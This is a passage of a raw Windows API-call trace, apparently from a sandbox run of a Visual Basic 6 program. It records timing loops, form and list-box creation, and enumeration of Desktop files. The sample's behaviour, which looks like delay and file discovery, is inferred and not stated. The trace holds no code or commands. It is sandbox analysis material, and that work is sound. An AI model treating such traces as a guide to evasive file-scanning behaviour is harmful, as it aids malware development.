returned 0x1146f28 [0063.268] GetTickCount () returned 0x1146f28 [0063.268] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.268] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.268] GetTickCount () returned 0x1146f28 [0063.285] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x335)) [0063.285] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.285] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.285] GetCurrentProcessId () returned 0x9e0 [0063.285] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.285] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.285] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.285] GetTickCount () returned 0x1146f37 [0063.285] GetTickCount () returned 0x1146f37 [0063.286] GetTickCount () returned 0x1146f37 [0063.286] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.286] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.286] GetTickCount () returned 0x1146f37 [0063.314] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x354)) [0063.314] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.314] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.314] GetCurrentProcessId () returned 0x9e0 [0063.314] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.315] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.315] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.315] GetTickCount () returned 0x1146f57 [0063.315] GetTickCount () returned 0x1146f57 [0063.315] GetTickCount () returned 0x1146f57 [0063.315] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.315] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.315] GetTickCount () returned 0x1146f57 [0063.329] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x363)) [0063.329] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.329] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0063.329] GetCurrentProcessId () returned 0x9e0 [0063.329] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831ab8 [0063.330] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832e90 [0063.330] PeekMessageA (in: lpMsg=0x18f868, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f868) returned 0 [0063.330] GetTickCount () returned 0x1146f66 [0063.330] GetTickCount () returned 0x1146f66 [0063.330] GetTickCount () returned 0x1146f66 [0063.330] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832e90 | out: hHeap=0x3820000) returned 1 [0063.330] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831ab8 | out: hHeap=0x3820000) returned 1 [0063.330] GetTickCount () returned 0x1146f66 [0063.347] GetLocalTime (in: lpSystemTime=0x18f91c | out: lpSystemTime=0x18f91c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x4, wSecond=0x1c, wMilliseconds=0x373)) [0063.347] VarSub (in: pvarLeft=0x18f97c, pvarRight=0x18f9b0, pvarResult=0x18f99c | out: pvarResult=0x18f99c) returned 0x0 [0063.347] VarCmp (pvarLeft=0x18f99c, pvarRight=0x18f95c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0063.347] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0063.348] VirtualQuery (in: lpAddress=0x18f65c, lpBuffer=0x18f640, dwLength=0x1c | out: lpBuffer=0x18f640*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0063.348] IMalloc:Alloc (This=0x767666bc, cb=0x70) returned 0x1446910 [0063.348] IMalloc:GetSize (This=0x767666bc, pv=0x1446910) returned 0x70 [0063.348] IMalloc:Alloc (This=0x767666bc, cb=0x10) returned 0x142cb08 [0063.348] IMalloc:GetSize (This=0x767666bc, pv=0x142cb08) returned 0x10 [0063.349] GetCurrentThreadId () returned 0x9ec [0063.349] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x104) returned 0x383af90 [0063.349] GetCurrentThreadId () returned 0x9ec [0063.349] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xc4) returned 0x383b0a0 [0063.349] GetCurrentThreadId () returned 0x9ec [0063.374] GetCurrentThreadId () returned 0x9ec [0063.374] GetCurrentThreadId () returned 0x9ec [0063.374] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x140) returned 0x383b170 [0063.374] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x10) returned 0x3832e90 [0063.374] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x434) returned 0x383b2b8 [0063.375] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xb4 [0063.375] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x198) returned 0x383b6f8 [0063.375] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831ab8 [0063.375] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x14) returned 0x3831ad8 [0063.375] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x80) returned 0x383b898 [0063.375] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383b898 | out: hHeap=0x3820000) returned 1 [0063.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x72992cd8, cbMultiByte=-1, lpWideCharStr=0x18f734, cchWideChar=14 | out: lpWideCharStr="MS Sans Serif") returned 14 [0063.376] OleCreateFontIndirect () returned 0x0 [0063.384] lstrlenA (lpString="Form1") returned 5 [0063.385] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x6) returned 0x38374b0 [0063.443] OleLoadPictureEx () returned 0x0 [0066.051] lstrlenA (lpString="Form1") returned 5 [0066.051] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x6) returned 0x38374c0 [0066.052] lstrlenA (lpString="ThunderRT6") returned 10 [0066.052] lstrcpyA (in: lpString1=0x18f748, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0066.052] lstrlenA (lpString="ThunderRT6Form") returned 14 [0066.052] lstrcpynA (in: lpString1=0x18f756, lpString2="DC", iMaxLength=116 | out: lpString1="DC") returned="DC" [0066.052] lstrlenA (lpString="ThunderRT6") returned 10 [0066.052] lstrcpyA (in: lpString1=0x18f6dc, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0066.053] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6Form", lpWndClass=0x18f708 | out: lpWndClass=0x18f708) returned 0 [0066.053] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0066.054] RegisterClassA (lpWndClass=0x18f708) returned 0x75c059 [0066.054] lstrlenA (lpString="ThunderRT6") returned 10 [0066.054] lstrcpyA (in: lpString1=0x18f6dc, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0066.054] lstrlenA (lpString="ThunderRT6Form") returned 14 [0066.054] lstrcpynA (in: lpString1=0x18f6ea, lpString2="DC", iMaxLength=29 | out: lpString1="DC") returned="DC" [0066.054] RegisterClassA (lpWndClass=0x18f708) returned 0x2cc162 [0066.054] AdjustWindowRectEx (in: lpRect=0x18f808, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x18f808) returned 1 [0066.055] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc162, lpWindowName="Form1", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=169, nHeight=67, hWndParent=0x170262, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x30268 [0066.057] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x81, wParam=0x0, lParam=0x18f32c) returned 0x1 [0066.058] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x83, wParam=0x0, lParam=0x18f318) returned 0x0 [0066.729] GetSystemMenu (hWnd=0x30268, bRevert=0) returned 0x70179 [0066.731] SetWindowContextHelpId (param_1=0x30268, param_2=0xffffffff) returned 1 [0066.731] NtdllDefWindowProc_A (hWnd=0x30268, Msg=0x1, wParam=0x0, lParam=0x18f32c) returned 0x0 [0066.732] GetWindowRect (in: hWnd=0x30268, lpRect=0x18f7cc | out: lpRect=0x18f7cc) returned 1 [0066.732] GetDC (hWnd=0x30268) returned 0x1101025b [0066.732] GetTextMetricsA (in: hdc=0x1101025b, lptm=0x18f6f4 | out: lptm=0x18f6f4) returned 1 [0066.732] SetBkMode (hdc=0x1101025b, mode=1) returned 2 [0066.732] OleTranslateColor () returned 0x0 [0066.732] SetBkColor (hdc=0x1101025b, color=0xffffff) returned 0xffffff [0066.732] OleTranslateColor () returned 0x0 [0066.732] SetTextColor (hdc=0x1101025b, color=0x0) returned 0x0 [0066.733] OleTranslateColor () returned 0x0 [0066.733] CreatePen (iStyle=0, cWidth=1, color=0x0) returned 0x19300256 [0066.733] SelectObject (hdc=0x1101025b, h=0x19300256) returned 0x1b00017 [0066.733] SelectObject (hdc=0x1101025b, h=0x1900011) returned 0x1900010 [0066.733] ClientToScreen (in: hWnd=0x30268, lpPoint=0x18f6d4 | out: lpPoint=0x18f6d4) returned 1 [0066.733] SetBrushOrgEx (in: hdc=0x1101025b, x=5, y=3, lppt=0x0 | out: lppt=0x0) returned 1 [0066.733] UnrealizeObject (h=0x1900015) returned 1 [0066.733] SelectObject (hdc=0x1101025b, h=0x1900015) returned 0x1900011 [0066.733] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831af8 [0066.940] SelectObject (hdc=0x1101025b, h=0x120a09b9) returned 0x18a002e [0066.940] GetTextMetricsA (in: hdc=0x1101025b, lptm=0x18f4e8 | out: lptm=0x18f4e8) returned 1 [0067.062] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf0) returned 0x383b898 [0067.062] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831b18 [0067.062] lstrlenA (lpString="ThunderRT6") returned 10 [0067.062] lstrcpyA (in: lpString1=0x18f718, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0067.062] lstrlenA (lpString="ThunderRT6") returned 10 [0067.063] lstrcpyA (in: lpString1=0x18f6ac, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0067.063] GetClassInfoA (in: hInstance=0x0, lpClassName="ListBox", lpWndClass=0x18f6d8 | out: lpWndClass=0x18f6d8) returned 1 [0067.063] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6ListBox", lpWndClass=0x18f6d8 | out: lpWndClass=0x18f6d8) returned 0 [0067.064] RegisterClassA (lpWndClass=0x18f6d8) returned 0x2cc122 [0067.064] CreateWindowExA (dwExStyle=0x204, lpClassName=0xc122, lpWindowName=0x0, dwStyle=0x44310081, X=144, Y=32, nWidth=41, nHeight=17, hWndParent=0x30268, hMenu=0x1, hInstance=0x72940000, lpParam=0x0) returned 0x50160 [0067.065] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x81, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0067.066] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x83, wParam=0x0, lParam=0x18f2e8) returned 0x0 [0067.068] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x1, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0067.094] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x5, wParam=0x0, lParam=0xd0014) returned 0x0 [0067.094] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x46, wParam=0x0, lParam=0x18ee74) returned 0x0 [0067.095] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x83, wParam=0x1, lParam=0x18ee4c) returned 0x0 [0067.096] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x47, wParam=0x0, lParam=0x18ee74) returned 0x0 [0067.096] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x5, wParam=0x0, lParam=0x14) returned 0x0 [0067.097] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x46, wParam=0x0, lParam=0x18e39c) returned 0x0 [0067.097] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x83, wParam=0x1, lParam=0x18e374) returned 0x0 [0067.098] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x47, wParam=0x0, lParam=0x18e39c) returned 0x0 [0067.098] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x5, wParam=0x0, lParam=0x25) returned 0x0 [0068.470] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x46, wParam=0x0, lParam=0x18d8dc) returned 0x0 [0068.471] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x83, wParam=0x1, lParam=0x18d8b4) returned 0x0 [0068.471] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x47, wParam=0x0, lParam=0x18d8dc) returned 0x0 [0068.521] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x3, wParam=0x0, lParam=0x220092) returned 0x0 [0068.521] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831b38 [0068.521] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x30, wParam=0x120a09b9, lParam=0x0) returned 0x0 [0068.522] ShowWindow (hWnd=0x50160, nCmdShow=5) returned 0 [0068.522] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x50160, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0068.558] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xe4) returned 0x383b990 [0068.558] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x3831b58 [0068.558] lstrlenA (lpString="ThunderRT6") returned 10 [0068.558] lstrcpyA (in: lpString1=0x18f718, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0068.558] lstrlenA (lpString="ThunderRT6") returned 10 [0068.558] lstrcpyA (in: lpString1=0x18f6ac, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0068.558] GetClassInfoA (in: hInstance=0x0, lpClassName="ListBox", lpWndClass=0x18f6d8 | out: lpWndClass=0x18f6d8) returned 1 [0068.559] GetClassInfoA (in: hInstance=0x72940000, lpClassName="ThunderRT6FileListBox", lpWndClass=0x18f6d8 | out: lpWndClass=0x18f6d8) returned 0 [0068.559] RegisterClassA (lpWndClass=0x18f6d8) returned 0x17c121 [0068.559] CreateWindowExA (dwExStyle=0x204, lpClassName=0xc121, lpWindowName=0x0, dwStyle=0x44a10003, X=144, Y=48, nWidth=41, nHeight=19, hWndParent=0x30268, hMenu=0x2, hInstance=0x72940000, lpParam=0x0) returned 0x5011e [0068.559] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x81, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0068.559] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x83, wParam=0x0, lParam=0x18f2e8) returned 0x0 [0068.560] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x1, wParam=0x0, lParam=0x18f2fc) returned 0x1 [0068.560] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x4) returned 0x38374d0 [0068.560] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x5, wParam=0x0, lParam=0xd0012) returned 0x0 [0068.560] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x46, wParam=0x0, lParam=0x18eec0) returned 0x0 [0068.560] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x83, wParam=0x1, lParam=0x18ee98) returned 0x0 [0068.561] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x47, wParam=0x0, lParam=0x18eec0) returned 0x0 [0068.561] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x5, wParam=0x0, lParam=0x12) returned 0x0 [0068.561] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x46, wParam=0x0, lParam=0x18e480) returned 0x0 [0068.561] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x83, wParam=0x1, lParam=0x18e458) returned 0x0 [0068.562] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x47, wParam=0x0, lParam=0x18e480) returned 0x0 [0068.562] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x5, wParam=0x0, lParam=0x23) returned 0x0 [0068.564] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x3, wParam=0x0, lParam=0x330093) returned 0x0 [0068.564] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x3831b78 [0068.564] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x30, wParam=0x120a09b9, lParam=0x0) returned 0x0 [0068.564] lstrlenA (lpString=".") returned 1 [0068.564] lstrlenA (lpString=".") returned 1 [0068.564] lstrcpyA (in: lpString1=0x18f5a4, lpString2="" | out: lpString1="") returned="" [0068.564] lstrlenA (lpString="") returned 0 [0068.564] lstrlenA (lpString="") returned 0 [0068.565] lstrlenA (lpString=".") returned 1 [0068.565] lstrcatA (in: lpString1="", lpString2="." | out: lpString1=".") returned="." [0068.565] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x18f33c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.565] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.565] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0068.565] lstrcpyA (in: lpString1=0x18f6d0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0068.565] lstrcmpA (lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned -1 [0068.566] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x26) returned 0x383ba98 [0068.566] lstrcpyA (in: lpString1=0x18f35c, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0068.566] GetShortPathNameA (in: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpszShortPath=0x18f464, cchBuffer=0x105 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\Desktop") returned 0x19 [0068.567] lstrlenA (lpString="C:\\Users\\5P5NRG~1\\Desktop") returned 25 [0068.567] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0xb, wParam=0x0, lParam=0x0) returned 0x0 [0068.567] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0068.567] lstrcpyA (in: lpString1=0x18f47e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0068.567] FindFirstFileA (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\*.*", lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe2bc3800, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xe2bc3800, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName=".", cAlternateFileName="")) returned 0x143c888 [0068.567] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe2bc3800, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xe2bc3800, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x184, cFileName="..", cAlternateFileName="")) returned 1 [0068.568] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90eed50, ftCreationTime.dwHighDateTime=0x1d5ddb7, ftLastAccessTime.dwLowDateTime=0x8946d030, ftLastAccessTime.dwHighDateTime=0x1d5dcad, ftLastWriteTime.dwLowDateTime=0x8946d030, ftLastWriteTime.dwHighDateTime=0x1d5dcad, nFileSizeHigh=0x0, nFileSizeLow=0x5d0d, dwReserved0=0x0, dwReserved1=0x184, cFileName="1kkNaE4CPvYlfKtHzfah.pptx", cAlternateFileName="1KKNAE~1.PPT")) returned 1 [0068.568] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x0 [0068.568] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x0 [0068.568] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb15170, ftCreationTime.dwHighDateTime=0x1d5d95d, ftLastAccessTime.dwLowDateTime=0xb575790, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0xb575790, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x55b9, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="2QF6ga8.gif", cAlternateFileName="")) returned 1 [0068.568] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x1 [0068.568] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x1 [0068.568] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40205f10, ftCreationTime.dwHighDateTime=0x1d5e52d, ftLastAccessTime.dwLowDateTime=0x983ce170, ftLastAccessTime.dwHighDateTime=0x1d5da3b, ftLastWriteTime.dwLowDateTime=0x983ce170, ftLastWriteTime.dwHighDateTime=0x1d5da3b, nFileSizeHigh=0x0, nFileSizeLow=0xd07e, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="2tEPDomkbGPX.mp3", cAlternateFileName="2TEPDO~1.MP3")) returned 1 [0068.568] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x2 [0068.568] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x2 [0068.568] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1426b870, ftCreationTime.dwHighDateTime=0x1d5df4f, ftLastAccessTime.dwLowDateTime=0xad82e4e0, ftLastAccessTime.dwHighDateTime=0x1d5d869, ftLastWriteTime.dwLowDateTime=0xad82e4e0, ftLastWriteTime.dwHighDateTime=0x1d5d869, nFileSizeHigh=0x0, nFileSizeLow=0xc6e6, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="6sm5wiK.mp4", cAlternateFileName="")) returned 1 [0068.568] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x3 [0068.568] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x3 [0068.568] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd271e6e0, ftCreationTime.dwHighDateTime=0x1d5e370, ftLastAccessTime.dwLowDateTime=0x3a169c30, ftLastAccessTime.dwHighDateTime=0x1d5e783, ftLastWriteTime.dwLowDateTime=0x3a169c30, ftLastWriteTime.dwHighDateTime=0x1d5e783, nFileSizeHigh=0x0, nFileSizeLow=0x130e6, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="6VkWBJIeqb0PI0PF.ods", cAlternateFileName="6VKWBJ~1.ODS")) returned 1 [0068.568] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x4 [0068.568] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x4 [0068.568] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f52a70, ftCreationTime.dwHighDateTime=0x1d5e13e, ftLastAccessTime.dwLowDateTime=0x4c052070, ftLastAccessTime.dwHighDateTime=0x1d5d82d, ftLastWriteTime.dwLowDateTime=0x4c052070, ftLastWriteTime.dwHighDateTime=0x1d5d82d, nFileSizeHigh=0x0, nFileSizeLow=0xd372, dwReserved0=0x5011e, dwReserved1=0x180, cFileName="7kmmf3WEcl_.avi", cAlternateFileName="7KMMF3~1.AVI")) returned 1 [0068.569] SendMessageA (hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x5 [0068.569] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x5011e, Msg=0x180, wParam=0x0, lParam=0x18f598) returned 0x5 [0068.569] FindNextFileA (in: hFindFile=0x143c888, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbdb4890, ftCreationTime.dwHighDateTime=0x1d5e585, ftLastAccessTime.dwLowDateTime=0x1d8f4390, ftLastAccessTime.dwHighDateTime=0x1d5ddf2, ftLastWriteTime.dwLowDateTime=0x1d8f4390, ftLastWriteTime.dwHighDateTime=0x1d5ddf2, nFileSizeHigh=0x0, 